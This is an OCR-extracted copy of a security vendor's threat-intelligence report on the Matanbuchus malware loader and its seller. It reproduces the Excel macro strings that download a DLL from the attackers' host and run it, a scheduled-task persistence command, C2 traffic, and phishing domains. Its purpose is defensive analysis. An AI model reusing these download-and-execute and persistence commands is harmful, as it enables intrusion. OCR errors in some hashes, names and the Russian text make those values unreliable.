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Executive Summary

Unit 42 researchers often spend time investigating what we call non-traditional sources. Non-traditional sources
often include underground marketplaces and sites, spanning from forums on the Tor network to Telegram channels
and other marketplaces. One such case that we investigated involves a threat actor called BelialDemon, who is a

member of several underground forums and marketplaces.

In February 2021, BelialDemon advertised a new malware-as-a-service (MaaS) called Matanbuchus Loader and
charged an initial rental price of $2,500. Malware loaders are malicious software that typically drop or pull down

second-stage malware from command and control (C2) infrastructures. Matanbuchus has the following capabilities:

¢ The ability to launch a .exe or .dll file in memory.

o The ability to leverage schtasks.exe to add or modify task schedules.

¢ The ability to launch custom PowerShell commands.

» The ability to leverage a standalone executable to load the DLL if the attacker otherwise has no way of

doing so.

We discovered several organizations impacted by Matanbuchus including a large university and high school in the

United States, as well as a high-tech organization in Belgium.

After observing the user BelialDemon operating in well-established underground forums, we’ve noticed they stick
to a particular biblical theme: their name, Belial, along with the name of their new loader, Matanbuchus, stem from

the Ascension of Isaiah 2:4: "And Manasseh turned aside his heart to serve Belial; for the angel of lawlessness, who

is the ruler of this world, is Belial, whose name is Matanbuchus.” A fitting theme for their operations.
This blog sheds light on Matanbuchus, BelialDemon and the malware’s infrastructure.
BelialDemon Overview

If we look historically, BelialDemon has been involved in the development of malware loaders. BelialDemon is
considered the primary developer of TriumphLoader, a loader previously posted about on several forums, and has

experience with selling this type of malware.
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[Sale] TriumphLoader resident modular loader
4 Bellaibemen

TriumphLoader is a resident modular loader with expanding functionality due to additional modules.
Features and Benefits of Software:
Written in € ++ with WInAPI (no additional dependencies)

Modularity (the main and additional modules are downloader through the downloader with protection against starting in virtual and analytical
environments)

Convenient and practical panel with detailed information for each bot

Several options for tasks to perform (in particular, tasks for downloading and launching a file, downloading and launching a file with administrator rights,
downloading and running a dil (via LoadLibrary / regsvr32), downloading and running ps1 scripts, downloading and starting CMD / BAT, loading and
running from memory without dropping to disk using LoadPE or RunPE methods, updating active bots, removal of active bots)

Download control and launch for your files (if the download fails, the bot retries) with the ability to see the number of successful / unsuccessful launches
Original autorun (not a registry or shortcut)

Working in the trusted process tree

Exit from a low access level (low mode) with inheritance of rights from a trusted process

The ability to control the launch through the loader by country, system and antivirus package

Loader does not work in the CIS

The ability to restore the resident part and other modules in the system after removal, as well as automatic updating of modules in time

Ability to move bots to another panel when the panel is unavailable

Runtime crypto build with an Internet connection:

File Name: anhVMp2.exe (721408 Kb)
MD5:
SHA256:

Figure 1. Forum posting of BelialDemon showcasing a loader.

Looking over posts such as these in Figure 1, we’ll attempt to locate the files through a litany of means to better
understand the functionality of the malware and analyze its activity in the wild — allowing for better protections and
enriched intelligence. Belial Demon was specifically looking to recruit three people as part of their MaaS offering,

charging an initial rental price of $2,500.

ANa BPYTA/CNAMA

Pesepanbiii Aomen jabber-cepsepa Host: up.exploit.im || Port: 5222

©[APEHIA] Matanbuchus npuBaTHbI PE3MAEHTHbIN Noaaep. Folow 4

By BelialDemon, February 17
Start new topic Reply to this topic

ort post <

malware, exploits, bundles,

BelialDemon  posted February 17

O6usasnsio Habop Ha apenay Matanbuchus npusaTHOro peawaenTHOro noanepa. Habnpaio 3 yenosex. Bonbue 4-5 AEPKETL HE NNAHWPYI0. CTOMMOCTL apenasl 2.5k$. Taike 2 NEPBLIM KUEHTaM AOCTYNEH TecT Ha 1.5 neaenu
32 6508. Ha paboTy uepes rapanT 3a CueT NOKYNaTeNsi COrNaceH. B€3 OCMBICTIEHHOMO XeNaHus B35Ts MOl N0AAEP B apeHAy NPOLY He nvcaTs!

PanTaiim 32 26.03: https://dyncheck. 661 fo:

Kpakoe onucanve dywkunonana

Seller
©13

OcHoBHOI dyHKUMOHaN 31O 3anycK B NamsTh exe/dll, 3anycK exe C AVCKa OT AOBEPEHHOO NpoLeCca(s ToM YMCNe 1 C Npasamy aamuKa), 3anyck dil C Aucka ABYMA CNOCOBaMM Ha BbIGOP, 3aNYCK ps/cmd KOMAHA B NamATH. PaboTa
noanepa BuAeTsCA U3 CuCTeMHOro npouecca(rundii32/regsvr32). Nloanep nocrasnsTsca & Buae dll. Takxe y 10a4epa eCTs APONEP KOTOPsIi NOCTABAATLCH B ABYX BEPCHAX Ha BbIGOP exe wnw dil (MOXHO UCTIONb30BaTS eXe BepcHio
Aponepa ans nporpysa dil 70aaePa €CN HET BOIMOXHOCTU Ha NpAMYI0 porpyxaTs dil npu 3Tom dil Noaaepa He cKauuBaeTcs us ceTu).

Activity
ware  KOHTaKTel A cansu:

Ka6al: belial-demons@exploit.im (OcHosHas)

Ka6a2: belial-demons@thesecure.biz (Peseps)

Edited Friday at 03:29 AM by BelialDemon

+  Quote He

aHrenom 6eazakoHwsi, KOTOpHIl eCTh NPaBuTeNs MMPa cero, sBnmeT \be umA - Marauyxycs x~

Figure 2. Forum posting for Matanbuchus sale.

Since we have a name for the malware direct from the source, we subsequently went hunting for samples of
Matanbuchus used in the wild. Hunting for a sample of Matanbuchus unearthed a file in the wild called ddg.dll,
which is actively being dropped via hxxp://idea-secure-login[.]Jcom. Looking at some of the included strings

showed we were on the right track.
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MatanbuchusDroper.dll
FunDLL3Z2 Install COM32
GetProchddress
LoadLibrarya
Virtualilloc
VirtualProtect
kerneli2.dll
CheckRadioButton
GethActiveWindow
GetCursorFos
GetGUIThreadInio
user3z.dll
SysAllocString
oleauti2.dll
ChooseColora
comdlg3id.dll
OleUICanConvertOrhctivatehs
oledlg.dll

Figure 3. Strings showing MatanbuchusDroper.dIl.
As stated by the malware author, the loader has the following features:

o The ability to launch a .exe or .dll file in memory.

¢ The ability to leverage schtasks.exe to add or modify task schedules.

¢ The ability to launch custom PowerShell commands.

o The ability to leverage a standalone executable to load the DLL if the attacker otherwise has no way of

doing so.

The question then becomes what does it actually look like in the wild?

The Excel Dropper

After identifying the Microsoft Excel document (SHA256:
41727£c99b9d99abd7183f6eec9052f86de076c04056e224ac366762c361afda) as an initial vector of an attack that

drops the Matanbuchus Loader DLL, we begin our analysis on this file. When opening the Excel document, you're

met with the notification that you need to enable macros to view the actual content of the document.
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@ Security Warning Macros have been disabled. Options...

G239 (@ fr|
1
2
. Document created in earlier version of
5
- Microsoft Office Excel
8
190 To view this content, please click "Enable Editing" form the yellow bar and then click

11 "Enable Content™

Figure 4. Picture of fake Excel warning.

This file is using a technique more recently favored in attacks leveraging Microsoft Office documents. Specifically,
there has been a shift from Microsoft Word to Microsoft Excel when trying to launch malicious payloads on
victims’ systems. This shift is because, using Excel's built-in functions, it is possible to store code distributed
throughout the spreadsheet cells, offering a native obfuscation that hampers analysis and detection. This is

colloquially referred to as Excel 4.0 Macros.

@ Security Warning Macros have been disabled. Options...

B4 v (> fx | FdjfrulegpzuX=5AYS517&5FX$2944 & SHAS230485DI52715&SFHS2011&5CB52746 856152221

A B C D E F

1
2
3
:I IFd'ifruJeEEzux:SAYa.

a
5 nGatndJSSRWHzH=SI
6 =5B151314()

7 =GOTO(S$GZ$1595)

8

9

Figure 5. Hidden worksheet functions.

The cells with data will spread across a sea of blank ones which, when executed, will piece together the
information. In the example above, note how some of the visible cells in the B column refer to columns and rows

across the sheet.

=GOTO($GZ$1595)

Figure 6. Example of an Excel function.

This GOTO function tells Excel to select a specific cell hundreds of columns over and 1,595 rows down. These

types of actions are chained together, and in this document, perform a simple download and execution of said file.

By removing the blank cells in the document and reviewing the resulting strings, there are many interesting

standouts that align with the observed behavior of this file in our WildFire malware analysis engine.
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DownloadFile

CiraZNyaw'\ JXFWIMm
http://idea-secure-login.com/3/ddg.dll
=RETURN(FORMULA FILL(FdjfrulegpzuX,nGatnd]JSSRWHzH))
‘heRleTg.dll

Shell32

‘heRleTg.dlLRunDLL32 Install COM32
URLMON

rundll32.exe
=CALL(SGS$5,5AB$3,5CCS1,8Y81,0)
CreateDirectoryA

Figure 7. Excel V4 extracted macro strings.

Taking these at face value, we can see a breakdown in functionality for downloading a file to a certain location and
the execution of it. In this case, ddg.dll will be downloaded from idea-secure-login[.]Jcom and saved locally as
hcRICTg.dll. Then the export within the DLL called RunDLL32_Install COM32 is executed.

As previously stated, this lines up with expected behavior that was observed in WildFire.

File Activity , EXCEL.EXE , URLDownloadToFile ,
http://idea-secure-login.com/3/ddg.dll , \hcRlcTg.dll ,
AG6F9BECT9E8364EF71912139462626D8

Process Activity , EXCEL.EXE | CreateProcessInternalW , ,
C:\Windows'\System32\rundll32.exe , "C:\Windows'\System32\rundll32.exe"
‘heRleTg.dILLRunDLL32 Install COM32

Figure 8. WildFire logged activity.

The DLL, in this case, is the Matanbuchus Loader DLL file.

Matanbuchus Overview

In this next section, we'll briefly cover the Matanbuchus malware before we take a look at the infrastructure used.

Overall, Matanbuchus uses two DLLs during the malware’s run cycle. Both DLLs are packed, but it should be
noted that the first DLL has an internal name of MatanbuchusDroper.dll while the second DLL is named
Matanbuchus.dll. It’s not the stealthiest approach, but helpful to us nonetheless. Additionally, both DLLs are based
at 0x10000000 and use hard coded addresses throughout execution.

Once Excel downloads the initial DL.L, MatanbuchusDroper.dll (SHA?256:
7fbaf7420943d4aa327bb82a357cd31ca92c7c83277f73a195d45bd18365cfce), from the idea-secure-login[.]Jcom
site, the Excel macro will launch and call the export within the DLL labeled RunDLL32_Install_COM32.

The primary function of this first DLL is, as its name suggests, to drop the main Matanbuchus DLL. However,

before that, it will make a number of API calls typically observed in anti-virtualization and anti-debugging checks,
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such as GetCursorPos, IsProcessorFeaturePresent, cpuid, GetSystemTimeAsFileTime, and
QueryPerformanceCounter. These can profile a system to provide indicators to the malware that allow it to

determine if it is running in a controlled environment (i.e. a sandbox).

MatanbuchusDroper .d11:18864BE2 push eah ; PF_XHMIG4 INSTRUCTIONS_AUAILABLE
MatanbuchusDroper .d11:18064BEY call loc_18086F8D9 ; IsProcessorFeaturePresent

Figure 9. API Call for IsProcessorFeaturePresent.

186840 A8C :::puil:l Ens BAB0BA16 %

Figure 10. API Call for cpuid.

Eventually, the DLL will move to the next phase and unpack the URL to download the primary Matanbuchus DLL,
disguised as an XML file called AveBelial.xml. This downloaded file is then saved to
Users\ADMINI~1\AppData\Local\Temp\Run_32DLL_COM232\shell96.dll. The use of shell96 is an attempt to
blend in with the native system files, suggesting shell32 -> shell64 -> shell96 as a logical progression in naming if

it were real.

v HTTP Requests

[ I ) HOST METHOD URL USER AGENT
0 o o eonsabode.at GET JKntwiopnbt/iqiwg22vw5/A
veBelial.xml
0 0 0 ideasecure- GET  /3/ddg.dil Mozillaa.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLGG2; .NET GLR 2.0.50727; .NET GLR 3.5.30729; .NET CLR 3.0.30
login.com 729; Media Center PC 6.0; .NET CLR 1.1.4322; NET4.0C; .NET4.0E; InfoPath.3)

Figure 11. Matanbuchus DLL download.

File Activity rundll32.exe , CreateFileW , Users\ADMINI~1\AppData\Local\Temp\Run_32DLL_COM32\shell96.dll, 2 , , , , unknown , 0

Figure 11. Writing shell96.dll to disk.

Persistence is established by creating a scheduled task to run the new DLL, along with the specific export to call.

schtasks.exe /Create /SC MINUTE /MO 2 /TN Run_32DLL COM32 /TR
"C:\Windows'\System32\rundll32.exe
C\Users\Admin‘AppData‘Local\Temp\Run_32DLL COM32\shell96.d1l,Run 32DLL C
OM32"

Figure 12. Scheduled task for persistence.

Note the attempt to blend the export name of the DLL with words typically found in popular DLLs:
RunDLL32_Install_COM32 and Run_32DLL_COM32. This continues the trend noted above regarding shell96.

The sample, Matanbuchus.dll (SHA256:
af356a39a298f6a48f8091afc2f2fc0639338b11813f4f4bd05aba4e65d2bbe3), is similar to the first DLL and uses
multiple types of obfuscation and encoding to hide strings and executable code from static analysis. Unlike the first

one, additional steps were taken after unpacking the code to further hide the DLLs it leverages functions from. In

Figure 14, you can see that the sample is building a string, Shell32.d1l.
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Matanbuchus .d11 186815251 push '3 5 5
Matanbuchus .d11:186815253 mow byte ptr [esi+BCh], 42h
Matanbuchus .dll 18815257 call near ptr unk_1886C12F
Matanbuchus.d11:1881525C push ‘h* ;: h
Matanbuchus.dl1l :1881525E mow [esi+34h], al
Matanbuchus .d11 1868152461 call near ptr unk_18806C12F
Matanbuchus.d11l 18815266 push ‘et ; B
Matanbuchus .dl1 186015268 mow [esi+35h], al

Matanbuchus.dll 186815268 call near ptr unk_18868C12F
Matanbuchus .d11 1868152708 push 1 i 1
Matanbuchus.dl1 18815272 pop edx

Matanbuchus .d11 186815273 push edx

Matanbuchus.dl1l 186815274 mow [esi+36h], al
Matanbuchus .dll 18815277 call near ptr unk_1886C12F
Matanbuchus.d11:1881527C push edx i 1
Matanbuchus .dl1 18815270 mow [esi+37h], al
Matanbuchus.d11:186815288 call near ptr unk_1868C12F
Matanbuchus.dll 18815285 push 3 3 3
Matanbuchus .dl1 186015287 mow [esi+38h], al
Matanbuchus.dl1l:18681528A call near ptr unk_1888C12F
Matanbuchus .d11 :18681528F push 2 2
Matanbuchus.dl1l 186815291 mow [esi+39h], al

Matanbuchus .d1l 18615294 call near ptr unk_1880C12F
Matanbuchus.dll 186815299 push
Matanbuchus .dl1 186015298 mow [esi+3Ah], al

Matanbuchus.d11:1881529E call near ptr unk 1868C12F

Matanbuchus .dl1l:188152A3 push d* ;d
Matanbuchus .d11:188152A45 mow [esi+3Bh], al
Matanbuchus.dll:188152A8 call near ptr unk_1886C12F
Matanbuchus .d11 186815240 push edx 5 1
Matanbuchus.dl1 :188152AE mow [esi+3Ch], al
Matanbuchus.dll:1868152B1 call near ptr unk_18806C12F
Matanbuchus.dll 18815286 push edx s 1
Matanbuchus .dl1:1860152B7 mow [esi+3Dh], al

Figure 13. Building “Shell32.dI1” string.

If you look at the DLLs it decodes strings for, there are no big surprises: IPHLPAPI.DLL, ws2_32.dll, wininet.dll
and shlwapi.dll. These are common sights when doing malware analysis as they are frequently a precursor to

actions such as writing files or network-based communication.

Finally, this DLL collects various pieces of information about the system, such as hostnames, OS details, network
adapters and so on, before transitioning into a more familiar routine exhibited by remote access trojans (RAT). The
malware begins to communicate with the same host the DLL was downloaded from — eonsabode[.]at. It then sends
an HTTP POST to kntwtopnbt/8rSkudwrc8/gate[.]Jphp with no referrer, and a user-agent field containing data

instead of an actual user-agent, making it quite visible and easily detectable.

POST /kntwtopnbt/8r5kudwrc8/gate.php HTTP/1.1]
User-Agent: HfFGUTOjRuH5iCwZPSZGcIVgdIcuBX5jXDS
Host: eonsabode.at|

Content-Length: 524

Content-Type: application/x-www-form-urlencoded|
ccept-Language: en-—aul

request=eyIyMjdiYWZMiI6WyIxenBzSEFPU1Z1VT@iXSwiMjI5YZE3Y2Y101iInamwyReFqY1dyUX1IOWIVUESTQkNXOD@1iLCIZN]dkOWU20SI6Ind6cDFHQTAIT iwiM2M4ZWF JMTMi01iJobWhgVFZxU1U|
35TAiLCIAMTdhYWVmZiTI6TitHb3ZTV1dURLItKMIUrUT@ il CT4NzTwOWEANYI6T j THODIRVIUST iwiYTVIM2IzMmQ1i0115akVIZ] FLZKIINWOWY3VCQVPENYIsImI jMTgINzg1IjoiNFc@blhBbz@ilCIjYS)
I6Imd60TdhbETGIiwiY2Mi01J0odz09TiwiY2410iT4RndDYTItd@pBcz@il CIj cCI6T jVXNHBXMYNTRGUAL2R1VZ THNGImUFBSb jBaSzhHQNMOTiwiZ3Ai0iT2VmN1Zj JLeUINQmImQT@9Tiwib3Mi0iTil]
CIyYSI6ImdUdG1IUT@STiwidwWdi0iT4RndDYTItdOp@cz@ilCI2ciT6TiIGHTTR/1.1 206 OK|

Figure 14. Network Traffic HTTP POST.

The requests are Base64 encoded JSON arrays of more encoded data, most likely containing the profiling

information of the host.
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echo -n

'eylyMjdiY WZIMil6WyIxenBzSEFPU1Z1 VT0iXSwiMjI5YzE3Y2YiOilnamwyROFqY 1
dyUXIHOWIVUESTQkNxODOILCIzNjdkOWU20S16Ind6cDFHQT09IiwiM2M4ZWFM
TMiO1JobWhqVFZxU1U3STOILCIOMTdhY WVmZil6litHb3ZTVIdURitKM 1 UrUTOiL
CHNzIwOWE4ANyl6[IHODIRVIU9iwiY TVIM2[zMmQiOil5ak VIZ] FLZKIINWIWY3
VCQVpENyIsImJjMTg1Nzg11joiNFcOb1hBbz0iLCJlj Y SI6Imd60TdhbEtGliwi Y 2MiOi1J
0dz091iw1Y 2410114RndDY TItdOpOcz0iLCJjcCI6 ) VXNHBXMVNTRGUA4L2R1VzIHN
GIJmUFBSbjBaSzhHQnMO9IiwiZ3 AiOi12VmNIZjJLeUINQmImQTO09iwib3MiOiliLCly
Y SI6ImdUdGHUT091iwidW4i0114Rnd DY TJtdOpOcz0iLCJ2¢il611]9' |base64 -D

{"227bafe2":["1zpsHAOSVuU="],"229c17cf":"gj12GAjc WrQyH9b/PNSBCq8=","367d9
e69":"wzpl GA==""3cBeacl3":"hmhjTVqSUTI=","41Taaeff":"+GovSEVWTF+J3U+Q=",
"87209a87":"9GR2QVU=""a5e3b32d":"9EHf 1 KfBuSoVcuBAZD7","bc185785":"4W4
oXAo=","ca":"gz9T7alKF","cc":"hw==","cn":"8FwCaZmwlts=","cp":"5W4pW1SSDe8/d
uW9G4bfPPRnOZKBGBs=""gp":"6Vce2ZKyMMBbfA==""0s":"","ra":"gTHHQ==","un
":"8FwCa2mwlts=","vr":""}

Figure 15. Base64 decoded C2 traffic.

Infrastructure Overview

Shifting focus to the domain where the final Matanbuchus DLL came from (eonsabode[.]at), we can see that it
resolves to an IP address in a Google network and has had a number of IP addresses it resolved to since early
February 2021. This aligns with the time we observed BelialDemon advertising their new malware. Additionally,
the initial domain (idea-secure-login[.]Jcom) that the Excel v4 macro reaches out to for the first Matanbuchus DLL

is also hosted on these same IP addresses.

Resolve Location Metwark ASN First Last
O 34.106.243.174 us 34.104.0.0M14 15189 20210512 2021-05-12
O 34.105.89.82 us 34.104.0.0M4 15169 2021-05-03 2021-05-03
O 34.94.151.129 us 34.92.0.0/14 15169 2021-04-21 2021-04-21
O 35.228.71.243 Fl 35.228.0.0M4 15169 2021-04-02 20210413
O 34.90.236.225 NL 34.88.0.0/14 15169 2021-03-24 2021-03-25
O 35.228.9.60 Fl 35.228.0.0M4 151869 2021-03-19 2021-03-23
0O 35.189.245.201 BE 35.189.224.0/19 15169 2021-03-16 2021-03-18
0 35.228.10.0 Fl 35.228.0.0M14 15169 2021-03-15 2021-03-15
0 34.89.180.150 DE 34.88.0.0/14 15169 2021-03-10 2021-03-14
0 35.228.236.78 Fl 35.228.0.0M14 15169 2021-03-02 2021-03-02
0 34.77.110.235 BE 34.76.0.0/14 15169 2021-02-16 2021-02-19
O 35.246.88.213 GB 35.244.0.0M4 15189 2021-02-09 2021-02-15
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Figure 17. DNS resolutions for eonsabode/.]at.

When looking at each of the individual IP addresses and their previous resolutions, a number of patterns begin to

emerge in the domains that exist on each one, further grouping the malicious activity together.
For example, consider the following three most recent IP addresses and a subset of their resolutions:
34.94.151[.]129

citationsherbe.at
idea-secure-login.com
login-biznesplanet.com
sso-cloud-idea.com

34.106.243[.]174

bos24-logowan.com
bos24-logowanie.com
bos24-online.com
ca24-login.com
caZ24-online.com
citationsherbe.at
flowsrectifie.at
ibos-online24.com
ibos24-login.com
ibos24-online.com
idea-secure-login.com
login-bos24.com
sgb-online24.com
sso-cloud-idea.com

34.105.89[.]82
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bos-logowanie-24.com
bos24-login.com
bos24-logowan.com
bos24-logowanie.com
bos24-online.com
boss-logowanie-24.com
citationsherbe.at
ibos-online24.com
ibos24-login.com
ibos24-online.com
idea-secure-login.com
login-bos24.com
logowanie-bos-secure.com
logowanie-secure-bos.com
sso-cloud-idea.com

The immediately observable patterns here include the usage of domains registered with the Austria ccTLD "at," the
usage of "24" within the domain names, and the use of the words "login,” "online," "sso" and "secure.” These are in

line with BelialDemon's previous attempts to hide in plain sight by using “good” words.

Given this, we pulled all of the passive DNS resolutions for each IP the original malicious domains resolved to
since February 2021. Focusing specifically on domains with multiple connections, we're left with a graph that

neatly clusters potentially related domains.

I 1Pvd Address 1l Domain

Figure 18. Connection map of IP and Domains.
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Within this subset of domains, there are numerous clusters based on various aspects of the domain names, and

we've individually clustered them below.
Pattern: Theme of biznesplanet

biznesplanet-bnpparlba.com

biznesplanet-parlbabnp.com

biznesplanet-parlbas.com

biznesplanet.parlbabnp.com

login-biznesplanet.com
(Note: Observed URLs matching previously discussed word patterns confirming

connection)
login-biznesplanet.com/dotpay/sso.cloud.ideabank.pl/
login-biznesplanet.com/dotpay/login.ingbank.pl/
login-biznesplanet.com/dotpay/secure.getinbank.pl/
login-biznesplanet.com/dotpay/

Pattern: Usage of "24"

bos24-logowan.com
bos24-logowanie.com
bos24-online.com
ibos-online24.com
ibos24-login.com
ibos24-online.com
login-bos24.com

Pattern: Usage of Austria ccTLD

citationsherbe.at

eonsabode.at (Note: Confirmed Matanbuchus)
flowsrectific.at

odatingactualiz.at

Pattern: Fake Adobe Flash updates

flash-player-update.digital
flash-update.digital
flashplayer-update.digital
flashupdate.digital
player-update.digital
playerupdate.digital
upgrade-flash-player.digital

Pattern: Usage of “Idea”
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idea-secure-login.com (Note: Confirmed Matanbuchus)
sso-cloud-idea.com

(Note: Observed URL matching previously discussed word patterns confirming
connection)

sso-cloud-idea.com/dotpay/sso.cloud.ideabank.pl/

Pattern: Theme of “Wallet,” possibly crypto-related

login.wallet-secure.org
wallet-secure.biz
wallet-secure.me
wallet-secure.org
wallet-secure.site
wallet-secure.xyz

The domains and themes primarily appear focused on phishing, and while not all of these domains are related to the
Matanbuchus malware, it appears they are all malicious and likely operated by the same entities. For example, the
"Fake Flash Updates" were associated with malicious APK files, as noted by the Malware Hunter Team on Twitter,
adding further weight to this theory. Some of these domains may be staged for future campaigns and may not have

been utilized yet.

Conclusion

This blog highlights how threat intelligence can be generated from hunting for threats observed in the wild and how
small pieces of seemingly disparate data can chain together to strengthen analysis, extract indicators and improve

defenses for your organization before being impacted.
Palo Alto Networks customers are protected from this threat by:

o WildFire: All known samples are identified as malware.
¢ Cortex XDR with:
o Indicators for Matanbuchus.
¢ Next-Generation Firewalls: DNS Signatures detect the known command and control (C2) domains, which

are also categorized as malware in Advanced URL Filtering.

¢ AutoFocus: Tracking related activity using the Matanbuchus tag.

Indicators of Compromise

Note Value

Excel Dropper
SHA256

41727£c99b9d99abd7183f6eec9052f86de076c04056e224ac366762c361afda

Matanbuchus 7fbaf7420943d4aa327bb82a357cd31ca92c7c83277f73a195d45bd18365cfce

Loader
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SHA?256

Matanbuchus
Main SHA256

Matanbuchus
Loader

Domain

Matanbuchus
Loader URL

Matanbuchus

Main Domain

Matanbuchus
Main URL

Matanbuchus
Loader

FileName

Matanbuchus
Loader

FileName

Matanbuchus
Main

FileName

Matanbuchus

Loader Export

Matanbuchus
Main Export

Matanbuchus
Loader

CommandLine

Matanbuchus
Main FilePath

Additional
Malicious

Domains

https://unit42.paloaltonetworks.com /matanbuchus-malware-as-a-service/

af356a39a298{6a48f8091afc2f2fc0639338b11813f4f4bd05abade65d2bbe3

idea-secure-login[.]Jcom

idea-secure-login[.]Jcom/3/ddg.dll

eonsabode|.]at

eonsabode[.]at/kntwtopnbt/iqiw922vv5/AveBelial.xml

ddg.dll

hcRIcTg.dll

shell96.d11

RunDLL32_Install COM32

Run_32DLL_COM32

schtasks.exe /Create /SC MINUTE /MO 2 /TN Run_32DLL_COM32 /TR
"C:\Windows\System32\rundll32.exe
C:\Users\Admin\AppData\Local\Temp\Run_32DLL_COM32\shell96.dll,Run_32DLL,_COM32"

C:\Users\Admin\AppData\Local\Temp\Run_32DLL_COM32\

biznesplanet-bnpparlbal.]com
biznesplanet-parlbabnp[.]Jcom

biznesplanet-parlbas[.]Jcom
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biznesplanet.parlbabnp[.Jcom
login-biznesplanet[.]Jcom
bos24-logowan[.]Jcom
bos24-logowanie[.]Jcom
bos24-online[.]com
ibos-online24[.]com
ibos24-login[.]Jcom
ibos24-online[.]com
login-bos24[.]Jcom
citationsherbel.]at
flowsrectifie[.]at
odatingactualiz[.]at
flash-player-update[.]digital
flash-update[.]digital
flashplayer-update[.]digital
flashupdate[.]digital
player-update[.]digital
playerupdate[.]digital
upgrade-flash-player[.]digital
sso-cloud-idea[.]com
dostawapapajohns[.]online
onlinepapajohns[.Jonline
papa-johns-dostawal.]digital
papa-johns-dostawal.]online
login.wallet-secure[.]Jorg

wallet-secure|.]biz
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wallet-secure[.]me
wallet-secure[.]org
wallet-secure|.]site

wallet-secure[.]xyz

Source: https://unit42.paloaltonetworks.com/matanbuchus-malware-as-a-service/
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